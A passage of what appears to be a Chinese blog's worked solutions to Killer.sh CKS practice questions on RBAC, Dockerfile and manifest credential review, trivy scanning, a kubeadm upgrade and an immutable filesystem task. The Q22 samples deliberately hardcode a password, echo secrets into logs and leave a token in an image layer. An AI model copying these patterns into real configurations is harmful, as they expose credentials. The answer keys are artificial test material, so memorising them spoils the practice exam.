href="#检查已经存在的RBAC规则" class="headerlink" title="检查已经存在的RBAC规则"></a>检查已经存在的RBAC规则</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get clusterrolebinding -oyaml | grep gianna -A10 -B20</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k edit clusterrolebinding gianna</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k edit clusterrole gianna</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k auth can-i list secrets --as gianna</span><br><span class="line"></span><br><span class="line">k auth can-i get secrets --as gianna</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config use-context gianna@infra-prod</span><br><span class="line">k -n security get secrets</span><br><span class="line">k -n security get secret kubeadmin-token</span><br><span class="line">k -n security get secrets -oyaml | grep password</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/665ebf50df5fff459a1dbc85e78dea910ce0226fd6aad587f734bbf144f897be.jpg" alt="RBAC-2-0"><br><img src="https://images.hao.kim/uploads/2024/12/0f04f793c0acf139661827b79fbb6a1d630cc4f4b6c38098ae4183396bf50138.jpg" alt="RBAC-2-1">  </p><p>编辑规则</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config use-context infra-prod <span class="comment"># 回到 admin 环境</span></span><br><span class="line"></span><br><span class="line">k edit clusterrole gianna</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl edit clusterrole gianna</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="string">&quot;2020-09-26T13:57:55Z&quot;</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gianna</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">&quot;4496&quot;</span></span><br><span class="line">  <span class="attr">selfLink:</span> <span class="string">/apis/rbac.authorization.k8s.io/v1/clusterroles/gianna</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">b713c1cf-87e5-4313-808e-1a51f392adc0</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line"><span class="comment">#  - secrets       # remove</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">configmaps</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">pods</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">namespaces</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">list</span></span><br></pre></td></tr></table></figure><h5 id="创建其他-RBAC-规则"><a href="#创建其他-RBAC-规则" class="headerlink" title="创建其他 RBAC 规则"></a>创建其他 RBAC 规则</h5><table><thead><tr><th>绑定规则</th><th>适用范围</th><th>应用范围</th></tr></thead><tbody><tr><td>Role + RoleBinding</td><td>单一命名空间</td><td>单一命名空间</td></tr><tr><td>ClusterRole + ClusterRoleBinding</td><td>全集群</td><td>全集群</td></tr><tr><td>ClusterRole + RoleBinding</td><td>全集群</td><td>单独命名空间</td></tr><tr><td>Role + ClusterRoleBinding</td><td>不可用</td><td>全集群</td></tr></tbody></table><p>创建一个规则</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k create clusterrole gianna-additional --verb=create --resource=pods --resource=deployments</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl create clusterrole gianna-additional --verb=create --resource=pods --resource=deployments</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gianna-additional</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">pods</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">apps</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">deployments</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">create</span></span><br></pre></td></tr></table></figure><p>创建3个绑定</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n security create rolebinding gianna-additional \</span><br><span class="line">--clusterrole=gianna-additional --user=gianna</span><br><span class="line"></span><br><span class="line">k -n restricted create rolebinding gianna-additional \</span><br><span class="line">--clusterrole=gianna-additional --user=gianna</span><br><span class="line"></span><br><span class="line">k -n internal create rolebinding gianna-additional \</span><br><span class="line">--clusterrole=gianna-additional --user=gianna</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># k -n security create rolebinding gianna-additional --clusterrole=gianna-additional --user=gianna</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gianna-additional</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">security</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gianna-additional</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">User</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gianna</span></span><br></pre></td></tr></table></figure><p>测试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n default auth can-i create pods --as gianna</span><br><span class="line"><span class="comment">#no</span></span><br><span class="line"></span><br><span class="line">k -n security auth can-i create pods --as gianna</span><br><span class="line"><span class="comment">#yes</span></span><br><span class="line"></span><br><span class="line">k -n restricted auth can-i create pods --as gianna</span><br><span class="line"><span class="comment">#yes</span></span><br><span class="line"></span><br><span class="line">k -n internal auth can-i create pods --as gianna</span><br><span class="line"><span class="comment">#yes</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 22 | Manual Static Security Analysis</title>
      <link href="/archives/kubernetes/CKS/check-dockerfile-2.html"/>
      <url>/archives/kubernetes/CKS/check-dockerfile-2.html</url>
      
        <content type="html"><![CDATA[<p>(can be solved in any kubectl context)</p><p>The Release Engineering Team has shared some YAML manifests and Dockerfiles with you to review. The files are located under  <code>/opt/course/22/files</code> .</p><p>As a container security expert, you are asked to perform a manual static analysis and find out possible security issues with respect to unwanted credential exposure. Running processes as root is of no concern in this task.</p><p>Write the filenames which have issues into  <code>/opt/course/22/security-issues</code> .</p><blockquote><p>NOTE: In the Dockerfile and YAML manifests, assume that the referred files, folders, secrets and volume mounts are present. Disregard syntax or logic errors.</p></blockquote><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>(可以在任何kubectl环境下解决)</p><p>发布工程团队已经分享了一些YAML清单和Dockerfiles，供你查阅。这些文件位于<code>/opt/course/22/files</code>下。</p><p>作为一名容器安全专家，你被要求进行手动静态分析，并找出可能存在的与不需要的凭证暴露有关的安全问题。在这项任务中，以root身份运行进程是不需要担心的。</p><p>把有问题的文件名写进 <code>/opt/course/22/security-issues</code> 。</p><blockquote><p>注意：在Dockerfile和YAML清单中，假设所指的文件、文件夹、机密和卷挂载都存在。不考虑语法或逻辑错误。</p></blockquote><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://docs.docker.com/develop/develop-images/dockerfile_best-practices">https://docs.docker.com/develop/develop-images/dockerfile_best-practices</a></p><p><a href="https://kubernetes.io/docs/concepts/configuration/overview">https://kubernetes.io/docs/concepts/configuration/overview</a></p><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>查看文件, 供三个dockerfile 7个 k8s yaml</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /opt/course/22/files</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/05dcfaa513ccc209f5df0dfcb0194676d7b93a2deff80b73b68651f744c2f820.jpg" alt="check-dockerfile-2-0">  </p><h6 id="1-Dockerfile-mysql"><a href="#1-Dockerfile-mysql" class="headerlink" title="1 Dockerfile-mysql"></a>1 Dockerfile-mysql</h6><p>Dockerfile-mysql文件在第一眼看上去可能是无辜的。它复制了一个文件的秘密令牌，使用它并在之后将其删除。但由于Docker的工作方式，每一个RUN、COPY和ADD命令都会创建一个新的层，并且每一个层都会在镜像中被持久化。</p><p>这意味着即使文件密令在Z层被删除，它仍然包括在X层和Y层的镜像中。在这种情况下，最好使用示例变量递给Docker。</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/22/files/Dockerfile-mysql</span></span><br><span class="line"><span class="keyword">FROM</span> ubuntu</span><br><span class="line"></span><br><span class="line"><span class="comment"># Add MySQL configuration</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> my.cnf /etc/mysql/conf.d/my.cnf</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> mysqld_charset.cnf /etc/mysql/conf.d/mysqld_charset.cnf</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    apt-get -yq install mysql-server-5.6 &amp;&amp;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Add MySQL scripts</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> import_sql.sh /import_sql.sh</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> run.sh /run.sh</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Configure credentials</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> secret-token .                                       <span class="comment"># LAYER X</span></span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> /etc/register.sh ./secret-token                       <span class="comment"># LAYER Y</span></span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">rm</span> ./secret-token <span class="comment"># delete secret token again         # LATER Z</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">3306</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;/run.sh&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>存在问题,所以写文件名到 文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> Dockerfile-mysql &gt;&gt; /opt/course/22/security-issues</span><br></pre></td></tr></table></figure><h5 id="2-deployment-redis-yaml"><a href="#2-deployment-redis-yaml" class="headerlink" title="2 deployment-redis.yaml"></a>2 deployment-redis.yaml</h5><p>文件 deployment-redis.yaml 正在从一个名为<code>mysecret</code>的<code>Secret</code>中获取证书，并将这些证书写入 环境变量 中。到目前为止还不错，但在容器的命令中，这些日志可以被任何有访问权限的用户直接读取。</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/22/files/deployment-redis.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-deployment</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mycontainer</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">redis</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&quot;/bin/sh&quot;</span>]</span><br><span class="line">        <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">&quot;-c&quot;</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">&quot;echo $SECRET_USERNAME &amp;&amp; echo $SECRET_PASSWORD &amp;&amp; docker-entrypoint.sh&quot;</span> <span class="comment"># NOT GOOD</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">SECRET_USERNAME</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">secretKeyRef:</span></span><br><span class="line">              <span class="attr">name:</span> <span class="string">mysecret</span></span><br><span class="line">              <span class="attr">key:</span> <span class="string">username</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">SECRET_PASSWORD</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">secretKeyRef:</span></span><br><span class="line">              <span class="attr">name:</span> <span class="string">mysecret</span></span><br><span class="line">              <span class="attr">key:</span> <span class="string">password</span></span><br></pre></td></tr></table></figure><p>日志中记录凭证是不对的</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> deployment-redis.yaml &gt;&gt; /opt/course/22/security-issues</span><br></pre></td></tr></table></figure><h5 id="3-statefulset-nginx-yaml"><a href="#3-statefulset-nginx-yaml" class="headerlink" title="3 statefulset-nginx.yaml"></a>3 statefulset-nginx.yaml</h5><p>密码直接暴露在容器的环境变量定义中。</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/22/files/statefulset-nginx.yaml</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StatefulSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">web</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceName:</span> <span class="string">&quot;nginx&quot;</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">k8s.gcr.io/nginx-slim:0.8</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Username</span></span><br><span class="line">          <span class="attr">value:</span> <span class="string">Administrator</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Password</span></span><br><span class="line">          <span class="attr">value:</span> <span class="string">MyDiReCtP@sSw0rd</span>               <span class="comment"># NOT GOOD</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">web</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> statefulset-nginx.yaml &gt;&gt; /opt/course/22/security-issues</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/22/security-issues</span></span><br><span class="line"><span class="string">Dockerfile-mysql</span></span><br><span class="line"><span class="string">deployment-redis.yaml</span></span><br><span class="line"><span class="string">statefulset-nginx.yaml</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 21 | Image Vulnerability Scanning</title>
      <link href="/archives/kubernetes/CKS/trivy-scan-2.html"/>
      <url>/archives/kubernetes/CKS/trivy-scan-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 2%</p><p>(can be solved in any kubectl context)</p><p>The Vulnerability Scanner <code>trivy</code> is installed on your main terminal. Use it to scan the following images for known CVEs:</p><ul><li><code>nginx:1.16.1-alpine</code></li><li><code>k8s.gcr.io/kube-apiserver:v1.18.0</code></li><li><code>k8s.gcr.io/kube-controller-manager:v1.18.0</code></li><li><code>docker.io/weaveworks/weave-kube:2.7.0</code></li></ul><p>Write all images that don’t contain the vulnerabilities <code>CVE-2020-10878</code> or <code>CVE-2020-1967</code> into  <code>/opt/course/21/good-images</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：2</p><p>(可以在任何kubectl环境下解决)</p><p>漏洞扫描器 <code>trivy</code> 被安装在你的主终端上。用它来扫描以下镜像中的已知CVEs。</p><ul><li>nginx:1.16.1-alpine</li><li>k8s.gcr.io&#x2F;kube-apiserver:v1.18.0</li><li>k8s.gcr.io&#x2F;kube-controller-manager:v1.18.0</li><li>docker.io&#x2F;weaveworks&#x2F;weave-kube:2.7.0</li></ul><p>将所有不包含 <code>CVE-2020-10878</code> 或 <code>CVE-2020-1967</code> 漏洞的图像写入 <code>/opt/course/21/good-images</code> 中。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>通过脚本批量实现</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim images.txt</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">nginx:1.16.1-alpine</span></span><br><span class="line"><span class="string">k8s.gcr.io/kube-apiserver:v1.18.0</span></span><br><span class="line"><span class="string">k8s.gcr.io/kube-controller-manager:v1.18.0</span></span><br><span class="line"><span class="string">docker.io/weaveworks/weave-kube:2.7.0</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> images.txt`; <span class="keyword">do</span> <span class="built_in">echo</span>  <span class="variable">$i</span> ;trivy image <span class="variable">$i</span> | grep -iE <span class="string">&#x27;CVE-2020-10878|CVE-2020-1967&#x27;</span> ; <span class="built_in">echo</span>  ; <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/70e9a76876414dfb7ed11abbb86f02969a792014bbe88dbf25da29e4fb1cbaf0.jpg" alt="trivy-scan-2-0">  </p><p>没有漏洞的镜像写入文件 &#x2F;opt&#x2F;course&#x2F;21&#x2F;good-images</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/21/good-images</span></span><br><span class="line"><span class="string">docker.io/weaveworks/weave-kube:2.7.0</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 20 | Update Kubernetes 升级k8s集群</title>
      <link href="/archives/kubernetes/CKS/update-cluster.html"/>
      <url>/archives/kubernetes/CKS/update-cluster.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 8%</p><p>Use context: <code>kubectl config use-context workload-stage</code></p><p>The cluster is running Kubernetes  <code>1.25.5</code> , update it to  <code>1.26.0</code> .</p><p>Use <code>apt</code> package manager and <code>kubeadm</code> for this.</p><p>Use <code>ssh cluster3-controlplane1</code> and <code>ssh cluster3-node1</code> to connect to the instances.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：8%。</p><p>使用环境: <code>kubectl config use-context workload-stage</code></p><p>该集群正在运行Kubernetes  <code>1.25.5</code> ，请将其更新为 <code>1.26.0</code> 。</p><p>为此使用 <code>apt</code> 软件包管理器和 <code>kubeadm</code> 。</p><p>使用 <code>ssh cluster3-controlplane1</code> 和 <code>ssh cluster3-node1</code> 来连接到实例。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查版本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get node</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9ac71982e171fde4a0f040bcf5a8cf2cd483bfccf5deccf7571360491b01a1b0.jpg" alt="update-cluster-0">  </p><h5 id="首先-需要更新控制平面节点-驱逐上面的pod"><a href="#首先-需要更新控制平面节点-驱逐上面的pod" class="headerlink" title="首先 需要更新控制平面节点, 驱逐上面的pod"></a>首先 需要更新控制平面节点, 驱逐上面的pod</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl cordon cluster3-controlplane1</span><br><span class="line">kubectl drain cluster3-controlplane1 --ignore-daemonsets</span><br></pre></td></tr></table></figure><p>连接到 master 检查 kubeadm kubelet 版本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-controlplane1</span><br><span class="line"></span><br><span class="line">kubeadm version</span><br><span class="line">kubelet --version</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/978bdb9b983d8bfcaa372c0624d07101213a1d2f82fa627cf2daae8f2866fe2b.jpg" alt="update-cluster-1">  </p><p>如果kubeadm没有安装更新版本可以使用下面命令进行安装</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-mark unhold kubeadm</span><br><span class="line">apt-mark hold kubectl kubelet</span><br><span class="line">apt install kubeadm=1.26.0-00</span><br><span class="line">apt-mark hold kubeadm</span><br></pre></td></tr></table></figure><p>检查kubeadm升级计划</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubeadm upgrade plan</span><br></pre></td></tr></table></figure><p>升级</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubeadm upgrade apply v1.26.0</span><br></pre></td></tr></table></figure><p>升级 kubelet 和kubectl</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt update</span><br><span class="line">apt-mark unhold kubelet kubectl</span><br><span class="line">apt install kubelet=1.26.0-00 kubectl=1.26.0-00 -y</span><br><span class="line">apt-mark hold kubelet kubectl</span><br><span class="line">service kubelet restart</span><br><span class="line">service kubelet status</span><br><span class="line">kubectl uncordon cluster3-controlplane1</span><br><span class="line">kubectl get node</span><br></pre></td></tr></table></figure><h5 id="其次升级-worker-节点"><a href="#其次升级-worker-节点" class="headerlink" title="其次升级 worker 节点"></a>其次升级 worker 节点</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get node</span><br><span class="line">kubectl cordon cluster3-node1</span><br><span class="line">kubectl drain cluster3-node1 --ignore-daemonsets</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-node1</span><br><span class="line"></span><br><span class="line">apt update</span><br><span class="line">apt-mark unhold kubeadm</span><br><span class="line">apt-mark hold kubectl kubelet</span><br><span class="line">apt install kubeadm=1.26.0-00</span><br><span class="line">apt-mark hold kubeadm</span><br><span class="line">kubeadm upgrade node</span><br><span class="line"></span><br><span class="line">apt-mark unhold kubectl kubelet</span><br><span class="line">apt install kubelet=1.26.0-00 kubectl=1.26.0-00</span><br><span class="line">service kubelet restart</span><br><span class="line">service kubelet status</span><br><span class="line"></span><br><span class="line">kubectl get node</span><br><span class="line">kubectl uncordon cluster3-node1</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 19 | Immutable Root FileSystem</title>
      <link href="/archives/kubernetes/CKS/root-filesystem.html"/>
      <url>/archives/kubernetes/CKS/root-filesystem.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 2%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>The Deployment <code>immutable-deployment</code> in Namespace <code>team-purple</code> should run immutable, it’s created from file  <code>/opt/course/19/immutable-deployment.yaml</code> . Even after a successful break-in, it shouldn’t be possible for an attacker to modify the filesystem of the running container.</p><p>Modify the Deployment in a way that no processes inside the container can modify the local filesystem, only <code>/tmp</code> directory should be writeable. Don’t modify the Docker image.</p><p>Save the updated YAML under <code>/opt/course/19/immutable-deployment-new.yaml</code> and update the running Deployment.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：2</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>名称空间 <code>team-purple</code> 中的部署 <code>immutable-deployment</code> 应该是不可变的，它是由 <code>/opt/course/19/immutable-deployment.yaml</code> 文件创建的。即使在成功入侵后，攻击者也不可能修改运行中的容器的文件系统。</p><p>修改部署的方式，使容器内的任何进程都不能修改本地文件系统，只有 <code>/tmp</code> 目录是可写的。不要修改Docker镜像。</p><p>将更新后的YAML保存在 <code>/opt/course/19/immutable-deployment-new.yaml</code> 下，并更新运行中的Deployment。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查deploy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-purple edit deploy -o yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl -n team-purple edit deploy -o yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">team-purple</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">immutable-deployment</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line">  <span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox:1.32.0</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&#x27;sh&#x27;</span>, <span class="string">&#x27;-c&#x27;</span>, <span class="string">&#x27;tail -f /dev/null&#x27;</span>]</span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">busybox</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br></pre></td></tr></table></figure><p>编辑静态配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /opt/course/19/immutable-deployment.yaml 